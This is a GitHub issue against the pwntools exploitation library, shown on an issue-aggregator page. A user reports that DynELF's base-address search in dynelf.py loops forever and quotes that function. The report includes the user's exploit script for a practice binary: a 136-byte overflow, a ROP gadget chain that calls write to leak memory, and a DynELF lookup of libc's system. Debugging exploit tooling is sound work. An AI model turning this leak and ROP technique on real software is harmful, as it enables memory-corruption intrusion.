Gallopsled / Gallopsled/pwntools

DynELF cannot break the endless loop in dynelf.py

Open
#1,418 1 comment 0 reactions 0 assignees View on GitHub
mystery
Dominant language
Python
Stars
13.7k
Forks
1.9k
Avg merge
6d 23h
Merged PRs (30d)
3

Description

These are my codes:

```
from pwn import *
p = process("./pwn1_64")
e = ELF("pwn1_64")

plt_write_addr = e.plt["write"]
start_addr = e.symbols["vulnerable_function"]
pop_rsi_rdx_rdi_addr = 0x40053b

def leak(address):
payload1 = "a"*136
payload1 += p64(pop_rsi_rdx_rdi_addr) + p64(address) + p64(4) + p64(1)
payload1 += p64(plt_write_addr)
payload1 += p64(start_addr)
p.sendline(payload1)
data = p.recv()
return data

dyn_elf = DynELF(leak, elf=e)
system_addr = dyn_elf.lookup("system", "libc")
```

When I am executing this code,

`dyn_elf = DynELF(leak, elf=e)`

Program is stuck.
So I try to debug and get into "dynelf.py", discovering that
in class DynELF -> function _find_base ,
```
def _find_base(self, ptr):
page_size = 0x1000
page_mask = ~(page_size - 1)

ptr &= page_mask
w = None

while True:
if self.leak.compare(ptr, '\x7fELF'):
break

# See if we can short circuit the search
fast = self._find_base_optimized(ptr)
if fast:
ptr = fast
continue

ptr -= page_size

if ptr < 0:
raise ValueError("Address is negative, something is wrong!")

# Defer creating the spinner in the event that 'ptr'
# is already the base address
w = w or self.waitfor("Finding base address")
self.status('%#x' % ptr)

# If we created a spinner, print the success message
if w:
self.success('%#x' % ptr)

return ptr
```
The condition of breaking the loop has never be met.

I don't know why. But I found something interesting.
When I was debugging, once I tried to run my Python script in console code by code.
I mean, when one line of code was executed in python interpreter, I input the next line of code to the console and waiting the code to be executed, too.

When I input
`dyn_elf = DynELF(leak, elf=e)`
It ’s no surprise that the program was stuck.
So, I input the ctrl + c to stop this code.

But when I input the same code to try again,
the program didn't stuck at all! But it seems work very bad.

Here is the screeshot.
![image](https://user-images.githubusercontent.com/34481542/73355694-a3b06300-42d3-11ea-902e-2b41321f5c1f.png)
![image](https://user-images.githubusercontent.com/34481542/73355799-e40fe100-42d3-11ea-83b7-591e9e80a357.png)

I don't know why ,too. But I hope this situation can help you.
This is my pwn file.
[pwn1_64.zip](https://github.com/Gallopsled/pwntools/files/4127852/pwn1_64.zip)
I hope it can help you, too!

My English is a little poor, I hope it didn't disturb you.

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.